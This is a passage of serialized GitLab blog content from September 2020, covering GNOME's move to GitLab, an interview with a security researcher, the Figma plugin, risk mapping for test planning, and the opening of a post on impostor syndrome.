noticeable difference is that a lot of people are now using the GNOME GitLab instance to host their own projects that are somehow related to GNOME but aren’t part of the core software produced by GNOME. This has increased GNOME’s developer community. \n \nAnother noticeable difference in the community is that, since moving to GitLab, there is more awareness around what CI/CD is and how important it is to the development process. CI/CD is being used extensively throughout the project. \n\nThere is now also more transparency at GNOME, which is both a blessing and a curse. More people from the wider community are able to see what’s happening in the development cycle, and are chiming in on issues and merge requests.  This has caused friction at times when things like designs were picked up by the wider community that weren’t ready for comments. \n\nUnfortunately, GNOME does not currently have metrics to share about the changes they’ve seen within their community; however, the overall sentiment has been positive towards the move to GitLab. GNOME is on the path to being a more data-driven organization than it has been in the past, and hopes to share more concrete data in the future. \n\n### What are some of the changes in GNOME’s software development lifecycle?\n\nThe biggest change in GNOME's software development lifecycle is that they can now build images for testing pipelines, something that couldn't be done before moving to GitLab. In the future, they hope to allow people to preview upcoming releases. \n\nDespite the positive changes in testing practices due to the move to GitLab, QA and wider community testing are still challenges for GNOME. (To be fair, GitLab's Global 2020 DevSecOps Survey found [QA/test remain challenging for everyone.](/developer-survey/)) Coordinating teams and members within a large free software project like GNOME is similar to doing so at a large commercial organization -- mostly around coordinating milestones and features spanning multiple teams. This means that GNOME has to hack around the limits of the GitLab Community Edition with homegrown tools.\n\nAnother big change to GNOME’s software development lifecycle is that there is now a closer relationship between designers and maintainers because there is more transparency on what the design team is doing.  \n\nThe move to GitLab has also shortened the cycle for developing [Flatpak](https://flatpak.org/), a software deployment and package management technology created by members of the GNOME community. The community can now automatically build Flatpak bundles and test changes against those instead of committing things to code. This shortens the feedback for QA, design, and releasing the software. \n\n### What do you think GitLab is doing well in supporting open source communities and what else would you like to see?\n\nOne of the things that GNOME appreciates most about GitLab is its transparency. It helps to know the roadmap and see what is being worked on in order to form proper expectations and plan ahead. \n\nGNOME is also happy that GitLab is continuing to grow its Developer Relations team and has invested in hiring an open source program manager. They are encouraged that GitLab now has a dedicated resource to understand the specific needs of open source communities on GitLab and craft a strategy to enable growth in this segment.\n\nUsing the Community Edition adds some challenges for open source communities since they often have to ask for features to be ported down. There are common features that are important to a lot of open source projects and communities and it is important to identify those and port them down. Having someone who can start conversations around these features is important. \n\nAnother area of opportunity for GitLab is to foster a closer relationship between the GitLab team and the community. GNOME would find it especially helpful to get to know GitLab engineers and product managers, in order to feel more comfortable collaborating with them. \n\nWhile there is more work to be done on this, GitLab is actively taking this feedback into account and is rolling out changes to the [GitLab forum](https://forum.gitlab.com/). Instead of being just a place to ask technical questions and find answers, there will soon be more of a social component as well.\n\n### What kind of organizations would you recommend GitLab for?\n\nLarge open source organizations that require coordination among various contributors will benefit from using GitLab. The project or organization doesn’t have to be super big, but when you have 20-40 people, or if your project is something that the industry depends on, GitLab is a great choice due to its features that enable project management, issue tracking, and CI for testing. \n\nAlso, if you’re into open source software, then GitLab is your best option from a feature to feature comparison. \n\n### What’s new at GNOME and what are some of the new things on the horizon?\n\nGNOME is continuing to invest in expanding its contributor base. Not only are they working on initiatives to improve and scale newcomer onboarding, but they are also hosting a [Community Engagement Challenge](https://www.gnome.org/news/2019/08/gnome-foundation-launches-coding-education-challenge/), along with Endless, to get a younger generation into open source. The Challenge has multiple stages and includes over $65,000 USD in cash and prizes. Phase One winners were recently announced at this year’s [GUADEC](https://events.gnome.org/event/1/), GNOME’s annual core conference. \n\nThis year’s GUADEC was done remotely due to the pandemic and was a huge success! If you missed it, be sure to check out the [GUADEC YouTube channel](https://www.youtube.com/user/GUADEC/) for videos of the talks. Coming soon will be the annual [GNOME.Asia Summit](https://www.gnome.asia/), and the [Linux App Summit](https://linuxappsummit.org/), which will be co-hosted again with [KDE](https://kde.org/). GNOME also hopes to hold a first-ever Pan African GNOME Summit (PAGS) in the upcoming year. \n\nFrom a technical standpoint, GNOME is trying to remove their over-reliance on mailing lists by using GitLab projects instead. The release team now makes “freeze break” requests in a GitLab project, and the security team uses a web form that opens a confidential issue in a GitLab project through the GitLab Service Desk feature.\n\nAfter enthusiastically adopting CI pipelines, GNOME projects are now trying to optimize their workflows to minimise time spent, bandwidth, and energy consumption.\n\nLast but not least, some GNOME members are working on implementing community health metrics in order to evolve into a more data-driven organization. The [App Ecosystem working group at CHAOSS](https://chaoss.community/participate/) was founded earlier this year as a result, and includes members from GNOME and KDE, among others. New members are encouraged to join!\n\n",[267,815,2704],{"slug":21926,"featured":6,"template":678},"gnome-follow-up","content:en-us:blog:gnome-follow-up.yml","Gnome Follow Up","en-us/blog/gnome-follow-up.yml","en-us/blog/gnome-follow-up",{"_path":21932,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21933,"content":21939,"config":21944,"_id":21946,"_type":16,"title":21947,"_source":17,"_file":21948,"_stem":21949,"_extension":20},"/en-us/blog/how-being-public-by-default-in-security-builds-trust",{"title":21934,"description":21935,"ogTitle":21934,"ogDescription":21935,"noIndex":6,"ogImage":21936,"ogUrl":21937,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21937,"schema":21938},"How being public by default in security builds trust","The rewards of being open in security still outweigh the challenges.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670904/Blog/Hero%20Images/corded-devices.jpg","https://about.gitlab.com/blog/how-being-public-by-default-in-security-builds-trust","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How being public by default in security builds trust\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-09-03\",\n      }",{"title":21934,"description":21935,"authors":21940,"heroImage":21936,"date":21941,"body":21942,"category":18484,"tags":21943},[12307],"2020-09-03","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nWe sat down with GitLab sr. security researcher Mark Loveless to talk about his role, how he sees the tech industry changing and the freeing feeling that working public by default (even in Security) brings and the trust that it builds.\n\n![Mark Loveless Headshot](https://about.gitlab.com/images/blogimages/mlovelessbw.png){: .small.right.wrap-text} **Name:** Mark Loveless\n\n**Title:** Sr. Security Researcher\n\n**How long have you been at GitLab?**: I joined February 2019\n\n**GitLab handle:** [@mloveless](https://gitlab.com/mloveless)\n\n**Connect with Mark:** [LinkedIn](https://www.linkedin.com/in/markloveless) / [Twitter](https://twitter.com/simplenomad)\n\n\n\n#### Tell us what you do here at GitLab:\nI perform research on security-related issues to help protect GitLab team members as well as GitLab customers. This can involve researching a new product feature, evaluating a SaaS product that GitLab is using or considering using, or educating others via presentations and blog posts.\n\n#### What’s the most challenging or rewarding aspect of your role? \nSecurity should be painless and just a natural part of someone going about their day. If a process is implemented that makes things more secure and it causes no friction to the point that most people do not even notice it, then I’ve done a good job.\n\n#### And, what are the top 2-3 initiatives you’re currently focused on? \nIn my role, I’m focused on:\n* Outreach via blogs and security conferences. Here’s a sample blog that has links to several other posts I wrote about GitLab’s Zero Trust journey, [“We answer your most popular questions about our Zero Trust journey“](/blog/questions-regarding-our-zero-trust-efforts/)\n\n* Securing the product. This blog post, [“GitLab instance: security best practices“](/blog/gitlab-instance-security-best-practices/) was one that many in the security department helped me with and was written to help our customers harden their instances.\n\n* Occasional mouthpiece to the press on GitLab and industry security practices; again part of that outreach effort. An example: [\"Remote Work Has a Hidden Challenge: Data Security\"](https://www.inc.com/cameron-albert-deitch/remote-work-data-security.html).\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend? \nEven though it is boring, do not forget the basics! This includes patching, unique passwords, and always using two-factor authentication. The press is full of stories of exotic attacks and flamboyant new bugs, but the basics eliminate the vast majority of threats.\n\n#### How did you get into security? \nIt all started as exploring, discovering that one could get into systems one was not supposed to be in. I loved it. As I got better at what I was doing, I also improved in the tech field in general, since I had to learn what system admins would do so I could avoid getting caught and being kicked out of some server. Eventually I got jobs in the tech field, and as I progressed I had a knack for the security aspects, and it went from there.\n\n#### From the perspective of your role, what’s GitLab doing better than anyone else in terms of security? \nOpenness. When I first started it seemed horrifying that all of the code and the handbook were so open, but in actuality it is quite freeing. We’re “default open” ([public by default](https://handbook.gitlab.com/handbook/values/#public-by-default)). Now this applies to the entire company and not just the security department, but it is nice that we don’t have to worry about security decisions becoming public; they will be regardless. This keeps us honest, and when someone is honest you’re more likely to trust them. This strengthens our security posture in that when we claim to be secure it can be verified, and as issues are identified (by team members or the GitLab community) we can fix them as openly as possible.\n\n#### What was your personal worst moment in the Infosec world and how did you recover? \nI have been let go from my job twice, both times after a buy-out. In one case the buying company had a policy against hiring hackers, but I expected it and I had another job lined up through a friend in the industry. In the other instance, my job went away and I did not want to transition to another department since it would involve moving. I took my buy-out money and decided to take some time off, or “funemployment”. A friend of mine named Kathy Wang - an early leader here at GitLab who helped grow the security department - saw my blog post about my time off and reached out, mentioning GitLab. So the important lesson here is that maintaining friendships in the security industry can really help in times of need. And you never know when you’ll be in a “time of need.”\n\n#### Name your favorite accomplishment that you are totally not known for. \nI was at the very first few Black Hat Briefings in Las Vegas. While a researcher at a tech firm that was a sponsor at one of those early Black Hat events, we had a brainstorming session where I came up with the idea that we should have an open bar event. Free of charge, no sales pitch stuff, just drinking and networking. It is the norm now, or at least it was pre-pandemic when conferences were in person. YOU’RE WELCOME.\n\n#### Play nostradamus for a minute.  Tell us how you see the tech or security landscape changing in the next 5 years?\nI believed that the tech industry itself would continue the move to all-remote or at least remote first, but the COVID-19 pandemic has accelerated that quite a bit. As a result I think the principles of both Zero Trust as well as BYOD (Bring Your Own Device) will become more of the norm as the tech landscape will be nearly all remote. Any company that is cloud-based with an Internet presence can do this, so many non-technical industries (marketing agencies, consulting firms, and so on) will move in this direction as well. I also believe that a passwordless world is possible, as two factor can consist of factors besides a password like biometrics and a U2F device (e.g. Yubikey), and that within five years this will start to truly become a real thing with actual industry acceptance. I’d love to see that happen, the password is simply one of the biggest failures and worse engineering designs ever.\n\n## Now, for the questions you *really* want to have answered:\n\n\n\n#### What’s your most interesting experience while traveling? \nI was stopped by TSA and I tested positive for TNT. Here’s [the whole story](https://www.markloveless.net/blog/2019/2/22/p24ekffvg7zyv4usvt1xshev5h1o8z).\n\n#### When traveling, packing cubes or no packing cubes? \nPacking cubes. My packing ritual is minimalistic. Everything is wear a pair, pack a pair, and I do sink laundry every night (I bring my own soap for this). The idea is that I have all of the tech, clothing, and accessories to last on a three week trip with a single backpack. A bad storm and a packed airport can turn an overnight trip into a week-long ordeal, and I am prepared. This requires an insane level of discipline and planning, and packing cubes are essential to making this process easier.\n\n#### When you’re not working, what do you enjoy doing/how do you spend your free time? \nIt’s a toss-up between playing and recording progressive metal music and working in the woodshop. Both are fun and I’ve done them for years.\n\n#### If you were stranded on an island, what three things would you bring? \nA water purification kit or Berkey water filtration system, a fully charged GPS, and a fully charged satellite phone. I’d immediately call for help with my exact coordinates, and sip on freshly-filtered water until help arrives.\n\n\nPhoto by [Thomas Jensen](https://unsplash.com/@thomasjsn) from [Unsplash](https://www.unsplash.com).\n{: .note}\n",[674,676],{"slug":21945,"featured":6,"template":678},"how-being-public-by-default-in-security-builds-trust","content:en-us:blog:how-being-public-by-default-in-security-builds-trust.yml","How Being Public By Default In Security Builds Trust","en-us/blog/how-being-public-by-default-in-security-builds-trust.yml","en-us/blog/how-being-public-by-default-in-security-builds-trust",{"_path":21951,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21952,"content":21958,"config":21963,"_id":21965,"_type":16,"title":21966,"_source":17,"_file":21967,"_stem":21968,"_extension":20},"/en-us/blog/is-devops-for-designers",{"title":21953,"description":21954,"ogTitle":21953,"ogDescription":21954,"noIndex":6,"ogImage":21955,"ogUrl":21956,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21956,"schema":21957},"Can DevOps be beneficial for design and UX?","Look at how DevOps phases can be integrated with design and UX, and why we've built the Figma plugin to help with this.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681548/Blog/Hero%20Images/GitLab-Figma-header.png","https://about.gitlab.com/blog/is-devops-for-designers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Can DevOps be beneficial for design and UX?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jordi Mon\"}],\n        \"datePublished\": \"2020-09-03\",\n      }",{"title":21953,"description":21954,"authors":21959,"heroImage":21955,"date":21941,"body":21961,"category":734,"tags":21962},[21960],"Jordi Mon","\n\nAccording to two legends on the field of Design, [Don Norman](https://en.wikipedia.org/wiki/Don_Norman) and [Jakob Nielsen](https://en.wikipedia.org/wiki/Jakob_Nielsen_(usability_consultant)), a successful user experience occurs when the user can fulfill his or her needs. A product designed with high UX standards in mind should have enough functionality and self-explanatory visual information for all its users to complete their tasks without help.\n\nGitLab is a complete [DevOps platform](/topics/devops-platform/) – meaning, good UX within GitLab equals good developer experience (DX). Following Nielsen and Norman's argument, good DX is the ability to not only use the product’s UI to serve a dev's needs, but also to find good documentation in context, a versatile API, and general compatibility with their working environment. Considering this succinct description of the GitLab app, one could easily infer that all its users are either software developers or system administrators, right?\n\nHowever, this assertion isn’t entirely true. There's no doubt that developers and operators are still the protagonists of DevOps, but more and more people from other professions (including graphic design, research, marketing, and even psychology) are contributing to software building. At GitLab, we acknowledge that in our vision.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">We&#39;ve got a vision for our product and \u003Ca href=\"https://twitter.com/CLenneville?ref_src=twsrc%5Etfw\">@CLenneville\u003C/a>, VP of UX at GitLab, is sharing it live at \u003Ca href=\"https://twitter.com/hashtag/GitLabCommit?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabCommit\u003C/a>. \u003Ca href=\"https://t.co/if4xVWgxqT\">pic.twitter.com/if4xVWgxqT\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1298911891352367104?ref_src=twsrc%5Etfw\">August 27, 2020\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWe're already taken the first strides in this long-term vision for the GitLab product, and they aim to welcome designers to [DevOps](/topics/devops/). This post describes the first steps taken by GitLab's Product team to connect DevOps with design.\n\n## Is DevOps for designers?\nVisual design for applications is a completely different field than application development. For starters, designers work with designs, screens, user flows, prototypes, and so many other graphic assets, while developers only use [source code](/solutions/source-code-management/). Their workflows are also pretty different: While devs may find enough solace in push, pull, merge, and other operators useful to their daily routines with code, visual designers may require other sets of features that allow them to communicate, receive, and apply feedback on designs.\n\nIs a platform like GitLab a good place for designers to try DevOps? We think so. One of the foundations of DevOps is that [cross-functional teams deliver better products faster](http://cloudplatformonline.com/rs/248-TPC-286/images/DORA-State%20of%20DevOps.pdf). If that is the case, then why keep designers' collaboration platforms separate? Why make their workflows independent and disconnected, and why hand off deliverables when it should be all about constant iteration with handovers?\n\n[Figma](https://www.figma.com/) is a vector graphics editor and prototyping tool. Figma founder and CEO, [Dylan Field](https://twitter.com/zoink?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor), crunched some numbers and discovered that the designers: developer ratio had increased considerably among top players.\n\n![2.5x increase in desginer to dev ratio](https://about.gitlab.com/images/blogimages/2020-09-03-is-devops-for-designers-figma-plugin/designer-to-dev-ratio.png){: .shadow.center}\nScreenshot from [TechCrunch](https://techcrunch.com/2017/05/31/here-are-some-reasons-behind-techs-design-shortage/)\n{: .note.text-center}\n\nWhen we mention \"top players,\" we're not talking about adaptable, flexible startups. Quite the contrary, in fact.\n\n> \"The companies willing to go on the record were mostly enterprise, so this sample doesn’t even include the consumer startups that famously focus on design, like Airbnb. Facebook staffers told us the social network has quadrupled its designer hiring target in the last two years alone - but Facebook wouldn’t officially comment.\" - Dylan Field wrote in [TechCrunch](https://techcrunch.com/2017/05/31/here-are-some-reasons-behind-techs-design-shortage/)\n\nAt GitLab, we've learned that frictionless feedback loops are the best way to validate our work. The feedback loop is fastest when designers can work hand in hand with the developers that create the source code that will later give life to their visuals.\n\n## Let DesignOps connect with DevOps: GitLab ❤️ Figma\n\nWe want designers to work in GitLab, which is why we created a new product category called [Design Management](/direction/plan/design_management/#introduction) that strives to make Designers welcome within GitLab and support their workflows. The first step in this direction is to change the dreaded handoff to a more iterative handover that will more accurately capture the feedback loops of the last part of the design workflow. How Design Management works at large will be the subject of another, in-depth blog post coming soon. You can catch a brief sneak peek on [YouTube](https://youtu.be/5oo0m3s5Gfk).\n\nWe developed a plugin to connect GitLab to Figma, to simplify the handover process. Now, you can upload one or multiple frames to any issue. From then on designers, PMs, and engineers can discuss the designs within GitLab.\n\nNext, we explain why we picked Figma and then dive deeper into how to install and use the plugin.\n\n## Why did we choose to integrate with Figma?\n\nWatch the video below as [Jeremy Elder](/company/team/#jeldergl), senior product designer, FE/UX Foundations, Visual Design, explains why we chose Figma as the main tool for Product Designers in GitLab.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/Qa9M74CfuXY?start=650&end=1040\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nOnce Product Design was comfortable using Figma to work on GitLab's design, the decision to build a plugin came naturally, considering how much we value [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding): Why not make the transition from Figma to GitLab much easier? GitLab team members are heavy Figma users ourselves (our Figma community is [here](https://www.figma.com/@GitLab)) and you can see how we use it for product design below:\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe style=\"border: 1px solid rgba(0, 0, 0, 0.1);\" width=\"800\" height=\"450\" src=\"https://www.figma.com/embed?embed_host=share&url=https%3A%2F%2Fwww.figma.com%2Fproto%2F73OcYdBfOaK2xlChC3tbNX%2FFigma-for-GitLab%3Fnode-id%3D2%253A61%26scaling%3Dscale-down&chrome=DOCUMENTATION\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\nGitLab's own community was requesting we build the Figma plugin.\n\n> “When will the plugin be published? Because our entire development team works on Linux\n> machines and can't run the Desktop application. When is this plugin going to be published so > it would be possible also for the users with Linux-based systems, which are more or less\n> forced to use the Web app, to use this plugin? I think, this would bring both, Figma and GitLab, generally a huge step forward.” – Community member [Emanuel Bennici](https://gitlab.com/l0nax) commented in the ([issue](https://gitlab.com/gitlab-org/gitlab-figma-plugin/-/issues/2#note_371842296))\n\n>“I also work on Linux and this would be a huge improvement for me and my company.” – Community member [Gabriel Jann](https://gitlab.com/JAIABRIEL) commented in the ([issue](https://gitlab.com/gitlab-org/gitlab-figma-plugin/-/issues/2#note_371844752))\n\n## How do I get started with the Figma plugin?\n\n First and foremost [download the plugin](https://gitlab.com/gitlab-org/gitlab-figma-plugin) and get going with the first steps in the [User Guide](https://gitlab.com/gitlab-org/gitlab-figma-plugin/-/wikis/home). In the video below, [Christen Dybenko](/company/team/#cdybenko), Design Management PM, walks you through the installation and the first steps with the plugin in GitLab:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/KR2nuehGtrU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## What's next?\n\nTell us about your experience using the plugin by commenting on the [issue](https://gitlab.com/gitlab-org/gitlab-figma-plugin/-/issues/44).\n\nQuestions about the future of Design Management? Wondering about how it fits into our broader DevOps scheme? Check our [next steps](/direction/plan/design_management/#whats-next--why) and [long term strategy for Design Management](/direction/plan/design_management/#long-term-strategy).\n",[2248,2250,2249],{"slug":21964,"featured":6,"template":678},"is-devops-for-designers","content:en-us:blog:is-devops-for-designers.yml","Is Devops For Designers","en-us/blog/is-devops-for-designers.yml","en-us/blog/is-devops-for-designers",{"_path":21970,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21971,"content":21977,"config":21984,"_id":21986,"_type":16,"title":21987,"_source":17,"_file":21988,"_stem":21989,"_extension":20},"/en-us/blog/risk-mapping",{"title":21972,"description":21973,"ogTitle":21972,"ogDescription":21973,"noIndex":6,"ogImage":21974,"ogUrl":21975,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21975,"schema":21976},"Search team directs testing efforts with risk mapping","A justification of how the search team decided to try risk mapping as an ongoing exercise to determine where test automation should be written, and some guidance on how to create a risk map.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669590/Blog/Hero%20Images/niklas_hamann-fyvNzhJTQBA-unsplash.jpg","https://about.gitlab.com/blog/risk-mapping","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the Search Team at GitLab Implemented a Risk Map to Direct Automated Testing Efforts\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erick Banks\"},{\"@type\":\"Person\",\"name\":\"John McGuire\"}],\n        \"datePublished\": \"2020-09-03\",\n      }",{"title":21978,"description":21973,"authors":21979,"heroImage":21974,"date":21941,"body":21982,"category":18484,"tags":21983},"How the Search Team at GitLab Implemented a Risk Map to Direct Automated Testing Efforts",[21980,21981],"Erick Banks","John McGuire","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n**_’What's the good of Mercator's North Poles and Equators,_**\n\n**_Tropics, Zones, and Meridian Lines?’_**\n\n**_So the Bellman would cry: and the crew would reply_**\n\n**_‘They are merely conventional signs!’_**\n\n**-Lewis Carroll, \"The Hunting of the Snark\"**\n\nWhen I first started at GitLab I was hired to automate a specific task for the advanced search team: search for security holes in our data redaction logic. Shortly after my being hired this mandate became moot. Simultaneously, the search team was also in the middle of transitioning our product manager to a new team and introducing a new one. This left me with some existential angst around my role as the software engineer in test for the search team. I mean, there’s always work to do, but *what* work would be *most helpful*?\n\nAfter a few months of seeing bug reports being filed by users and GitLab team members, I thought it would be best to try to direct our testing efforts where we have the most unmitigated risk. But, how would we come to know with any degree of certainty where that is? To find out I made a risk map.\n\nRisk maps are not new. [The United States Federal Emergency Management Agency](https://www.fema.gov/flood-maps/tools-resources/risk-map) uses them, [insurance companies](https://www.techriskreport.com/2019/10/preparing-for-data-breaches-data-mapping-response-team-and-insurance/) use them, and [software companies](https://www.pmi.org/learning/library/risk-analysis-project-management-7070) use them.\n\nThe point of the risk map is to show you and your team where in the project you are responsible for is the most unmitigated risk. It can then be used to inform what areas of the project should be the focus of adding testing, preferably automation, though not exclusive of manual testing ([exploratory testing](https://www.tricentis.com/blog/creating-an-exploratory-testing-charter/), [bug bashes](https://www.classy.org/blog/run-bug-bash/), etc.).\n\n## “The Map is Not the Territory”\n\nRisk maps are not perfect reflections of where the risk exists in your project. Any criticism of the map, “It gets stale too quickly”, “You’re distorting where the real risk lies”, “It takes too much time to keep updated”, have validity and could apply just as well to maps of physical places. In my case I would say that even a low resolution map, supported by data, of where risk is in the project is better than no map at all. Without such a map I would continue working by just relying on my gut instinct of where the risk is, or worse, I would be in the reactive state of fixing things after they’ve gone wrong. Isn’t an old, out of date map sometimes useful?\n\n## Should You Make A Risk Map?\nOf course I can’t be prescriptive about this. If you’re reading this, you are likely the best judge of if you and your team will get utility from making one. I can say that in my situation: new to the search team, transitioning to a new product manager, and no clear signal as to where the riskiest part of the project was, it made sense for me to make one.\n\n## How to get started\nIf you do decide you want to make a risk map for your team, here are some steps and tips that may help.\n\nFirst you’ll want to get a sense of what can go wrong. I call these “risk facets”. For example: a simplified view of [Elasticsearch](https://www.elastic.co/home) (the underlying tech we use for our advanced search feature at Gitlab) is that users insert records (Merge Requests, Issues, Users, Comments etc.) they want to be searchable into GitLab, that record gets indexed, and then, later, a user tries to recall that record. In this simplified view the facets could be problems around record insertion, indexing, and recall. These could be multiplexed by considerations of: speed, efficiency, and cost. So, that may yield a risk map with nine rows, or risk facets: record insertion - speed, record  insertion - efficiency, record insertion - cost, record indexing - speed, etc.\n\nA helpful starting point for understanding what risk facets may be for your project is to look at the list of features it has. This is not likely to be an exhaustive list of the risk facets your project presents, but it is a good place to start.\n\nSome of these facets may have a label (or, more likely, a combination of labels) that accurately map issues to the risk facet. If your project is anything like mine, many facets will **not** have these corresponding labels. For future extensibility and automated aggregation of issues around each facet, it is important to create labels or create combinations of labels that can accurately map issues to a single risk facet.\n\nSo, take some time to read through recent issues. Look at the issues your users are filing. See if there are some shared areas around which the issues are filed. These are likely the more important risk facets. I did this over several weeks of reading issues as they were filed and extrapolating where problems could arise. I then created a list of these facets in a notebook until I found that I had a substantial amount of facets that could be tracked. Next, I transferred those risk facets to the rows of the table in the risk map issue.\n\n![Example Chart from website](https://about.gitlab.com/images/blogimages/egb/risk-map/facets.png){: .shadow.center}\n\nDo not, as I did, confuse *solutions* to risk facets for the risk facets themselves. For example, I erroneously added a row to my map for “regex - optimization”, which is a solution to the risk facet “regex - efficiency”.\n\nAfter a time of gathering the risk facets and adding them to the rows of the table in the issue it’s time to add the other columns to the table and track if those risk facets are being implicitly or explicitly tested and where. It felt important to differentiate between implicit and explicit testing because explicitly testing for every risk facet is prohibitively expensive in either time, cost, effort, etc. (or some combination thereof). Just because we aren’t explicitly testing some facet doesn’t mean there isn’t some kind of test coverage for that facet. Since the exercise is aimed at showing the team where risk facets are, their severity, and if they are being mitigated or not, showing where the implicit testing is happening is important. Fill in the implicit/explicit testing columns and add the links that point to where this testing is happening.\n\n![Example Chart from website](https://about.gitlab.com/images/blogimages/egb/risk-map/facet-coverage.png){: .shadow.center}\n\nThe last three columns compose your [risk matrix](https://en.wikipedia.org/wiki/Risk_matrix). They are: *risk level*, *impact*, and *likelihood*, so ordered so that the most important of the three columns, *risk level* (which is just a composite of the other two columns), is more likely to be visible before horizontally scrolling off the screen, are most likely to need input from the rest of the team. Actively solicit other team members to help fill out these columns.\n\n![Example Chart from website](https://about.gitlab.com/images/blogimages/egb/risk-map/riskmatrix.png){: .shadow.center}\n\nIt’s important to recognize that this map will never be done. You’ll never “finish it”. Incompleteness is to be expected. But what should emerge is a picture of where most of the testing is being done, and where most of the risk is being carried in the project. You can then use this to help the team align testing toward facets to better mitigate risk.\n\n![Example Chart from website](https://about.gitlab.com/images/blogimages/egb/risk-map/risk-map-sample.png){: .shadow.center}\n## Product Management\n\nTo Product Managers a risk map helps quantify the amount of energy to spend mitigating a possible risk. With a goal of not over investing in a mitigation, as well as avoiding catastrophe.  Product Managers can also help identify primary and secondary effects that can create a need to change the level of risk assessed. \nHistory is full of examples where improper risk assessments lead to preventable disasters. [PMI.org Deepwater Horizon\nLessons in Probabilities](https://www.pmi.org/learning/library/comparison-risk-events-with-risk-management-9919)\n## Next steps\n\n- Identify where the highest risk is and try to mitigate it.\n- Decide with the team how often we should update the risk map.\n- Add labels so that each issue for the search team falls into one unique risk facet.\n- Automate some of the creation of the map by aggregating issues and MRs based on the newly created labels.\n- Compare my efforts at doing this exercise with other teams (should they decide to do it as well).\n- Add features like:\n  - Sorting by risk level\n  - Toggle by open/closed/all for issues/MRs.\n  - Toggle displaying issues found by customers.\n\nLink to Risk Map: [https://gitlab.com/gitlab-org/gitlab/-/issues/229431](https://gitlab.com/gitlab-org/gitlab/-/issues/229431)\n\nLink to Risk Mapping Epic: [https://gitlab.com/groups/gitlab-org/-/epics/4253](https://gitlab.com/groups/gitlab-org/-/epics/4253)\n\nCover image by [Niklas Hamann](https://unsplash.com/@hamann?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/server?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[942,674,1307],{"slug":21985,"featured":6,"template":678},"risk-mapping","content:en-us:blog:risk-mapping.yml","Risk Mapping","en-us/blog/risk-mapping.yml","en-us/blog/risk-mapping",{"_path":21991,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21992,"content":21997,"config":22002,"_id":22004,"_type":16,"title":22005,"_source":17,"_file":22006,"_stem":22007,"_extension":20},"/en-us/blog/imposter-syndrome-and-remote-work",{"title":21993,"description":21994,"ogTitle":21993,"ogDescription":21994,"noIndex":6,"ogImage":21246,"ogUrl":21995,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21995,"schema":21996},"How to tackle impostor syndrome while working remotely","Isolation can cause impostor syndrome to flourish. We explain how adopting a growth mindset can help stop impostor syndrome in its tracks.","https://about.gitlab.com/blog/imposter-syndrome-and-remote-work","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to tackle impostor syndrome while working remotely\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-09-02\",\n      }",{"title":21993,"description":21994,"authors":21998,"heroImage":21246,"date":21999,"body":22000,"category":6634,"tags":22001},[17272],"2020-09-02","\n\nNow that the pandemic has shifted office operations at countless companies across all industries from in-person to online, many workers are witnessing the informal modes of communication and recognition that come with occupying a shared space all fall away. When you're working remotely, there is simply no opportunity for chance encounters, which means giving and receiving feedback from colleagues and management requires extra effort. It can be easy to feel anxious about whether or not the right people are noticing your hard work, and even when they are, that nagging feeling of doubt, or feeling like an impostor, can derail your efforts before you even begin.\n\n## What is impostor syndrome?\n\nImpostor syndrome comes down to feeling inadequate or undeserving of your success despite objective evidence showing you otherwise, explained [Taylor McCaslin](/company/team/#tmccaslin), Senior Product Manager, Secure:Static Analysis at GitLab, in a presentation on the topic at [GitLab Virtual Contribute](https://www.youtube.com/watch?v=mICmSotKwik&list=PL05JrBw4t0KrGipyfKvBifwFhNE8sjRN_&index=5&t=0s). Impostor syndrome creates a negative script that can obstruct your progress on meaningful projects, slow your journey to achieving your goals, and suck the energy out of your days.\n\nSo how do you slay the vampire that is impostor syndrome?\n\n## The growth mindset\n\nImpostor syndrome manifests in different ways for different people, and in this blog post we introduce different strategies for stopping these negative thought patterns. But one universal approach is adopting a [growth 